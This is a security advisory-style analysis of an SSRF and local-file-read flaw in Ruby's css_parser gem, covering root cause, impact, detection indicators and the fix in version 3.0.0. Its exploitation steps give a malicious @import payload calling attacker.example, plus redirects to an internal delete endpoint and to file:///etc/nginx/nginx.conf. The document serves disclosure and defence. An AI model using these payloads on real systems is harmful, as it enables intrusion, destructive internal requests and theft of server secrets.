CVE-2026-53727: 
Ruby vulnerability analysis and mitigation

CVE-2026-53727 is an SSRF and Local File Disclosure vulnerability in the Ruby css_parser gem affecting CssParser::Parser#read_remote_file (and by extension load_uri! and the @import-following branch of add_block!). It affects all versions of css_parser below 3.0.0 (specifically confirmed against 2.2.0), and was originally discovered by pentesters at NCC Group, reported by @JLLeitschuh of the Braze security team, first published June 1, 2026, and added to the GitHub Advisory Database on July 9, 2026. The patched version is 3.0.0. It carries a CVSS v4 base score of 8.9 (High) (GitHub Advisory, css_parser Advisory).

The root cause is a complete absence of input validation in CssParser::Parser#read_remote_file (lib/css_parser/parser.rb#L613-L687), classified as CWE-918 (SSRF) and CWE-73 (External Control of File Name or Path). The function issues HTTP/HTTPS GET requests to any host, port, and URI without a scheme allowlist, host/IP filtering, or protection against loopback, RFC-1918, or link-local addresses. Critically, Location: redirect headers are followed recursively back into the same function, which also handles file:// URIs via File.read — meaning a single attacker-controlled HTTP redirect can escalate the bug from SSRF to arbitrary local file read. Additionally, Accept-Encoding: gzip is hardcoded and responses are decompressed without size bounds, enabling decompression bomb (DoS) attacks. Any application passing attacker-influenced CSS with a base_uri: option (the canonical case being Premailer) reaches this sink via a single @import url(...) rule (GitHub Advisory, css_parser Advisory).

Successful exploitation enables unauthenticated attackers to perform arbitrary outbound HTTP/HTTPS GET requests to any host reachable from the server — including loopback, RFC-1918, link-local (e.g., AWS/GCP/Azure IMDS at 169.254.169.254), and Docker/Kubernetes service IPs — and to read local files via cross-scheme redirect to file://. Response bodies that are CSS-shaped (e.g., nginx/HCL/Terraform config files using name { key: value; } syntax) are recoverable through the parser API and surfaced in rendered output by Premailer-style consumers, enabling data exfiltration. Additional impacts include a file-existence oracle (via exception behavior), side-effecting GETs against internal admin endpoints (e.g., triggering state changes on legacy panels), and potential resource exhaustion via decompression bombs (GitHub Advisory).

1. Identify a target application: Find a Ruby application using css_parser < 3.0.0 that processes attacker-influenced CSS with a base_uri: option — Premailer-based email rendering pipelines are the canonical target.
2. Craft the malicious CSS payload: Prepare a CSS snippet containing a single @import rule pointing to an attacker-controlled server:

   @import url("https://attacker.example/redirect");

3. Set up the attacker-controlled redirect server: Configure the server at attacker.example to respond to GET /redirect with an HTTP 302 redirect. For SSRF, redirect to an internal endpoint: Location: http://internal-admin.local/api/v1/users/42?action=delete. For local file disclosure, redirect to a file:// URI: Location: file:///etc/nginx/nginx.conf.
4. Inject the payload: Submit the malicious CSS to the target application through any input that reaches Parser#add_block! with base_uri: set (e.g., an HTML email template, a CSS upload field, or a user-controlled style block).
5. Trigger parsing: The application parses the CSS, add_block! detects the @import rule, calls load_uri!, which calls read_remote_file, which issues a GET to the attacker's server and follows the redirect without validation.
6. Recover exfiltrated data: For SSRF against CSS-shaped internal responses, the parsed rules surface in the application's rendered output (e.g., the inlined HTML email). For file disclosure, any block-DSL config content (nginx, HCL, Caddy) is parsed into selectors/declarations and emitted via parser.to_s. For file-existence oracle, observe whether a CssParser::RemoteFileError is raised (missing file) or not (file exists) (GitHub Advisory, css_parser Advisory).

• Network: Unexpected outbound HTTP/HTTPS GET requests from the Ruby application server to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16) or to unknown external hosts; outbound connections to attacker-controlled domains observed in DNS/proxy logs shortly after CSS processing events.
• Network: HTTP requests originating from the application server's IP to internal admin endpoints or metadata services (e.g., 169.254.169.254) with a User-Agent matching the css_parser gem's configured user agent string.
• Logs: Application logs showing CssParser::RemoteFileError exceptions for non-existent file:// paths, potentially indicating filesystem enumeration attempts.
• Logs: Web server access logs on internal services recording unexpected GET requests from the application server's IP, particularly to sensitive endpoints (admin panels, config dumps, credential endpoints).
• Application Output: Rendered HTML/email output containing unexpected CSS rules with content resembling internal configuration data (e.g., server block syntax, database credentials, API keys in prop: value; format).
• File System: No direct file system artifacts are created by exploitation; however, access to sensitive files (e.g., /etc/nginx/nginx.conf, /etc/passwd, .env files) may be logged by the OS audit subsystem (auditd) if file-read auditing is enabled (GitHub Advisory).

Upgrade css_parser to version 3.0.0 or later, which routes all outbound HTTP through the ssrf_filter gem (blocking loopback, RFC-1918, link-local, and cloud metadata IPs), removes file:// handling from read_remote_file entirely, and drops the hardcoded Accept-Encoding: gzip header. Two new opt-in flags are available for legitimate use cases: allow_local_network: true (re-enables HTTP to private/loopback addresses) and allow_file_uris: true (re-enables file:// URI support in load_uri!). Premailer and standard email-rendering pipelines require no code changes after upgrading — the default-secure configuration is sufficient. Test suites fetching from localhost fixture servers should add allow_local_network: true to the relevant Parser.new calls (GitHub Advisory, Ruby Advisory DB).

The vulnerability was discovered by pentesters at NCC Group and responsibly disclosed by @JLLeitschuh of the Braze security team, indicating engagement from enterprise security teams. The advisory was published by the maintainer (grosser) on June 1, 2026, with a detailed threat model and proof-of-concept, reflecting a high-quality disclosure process. No significant broader media coverage or notable social media reactions have been identified at this time (GitHub Advisory).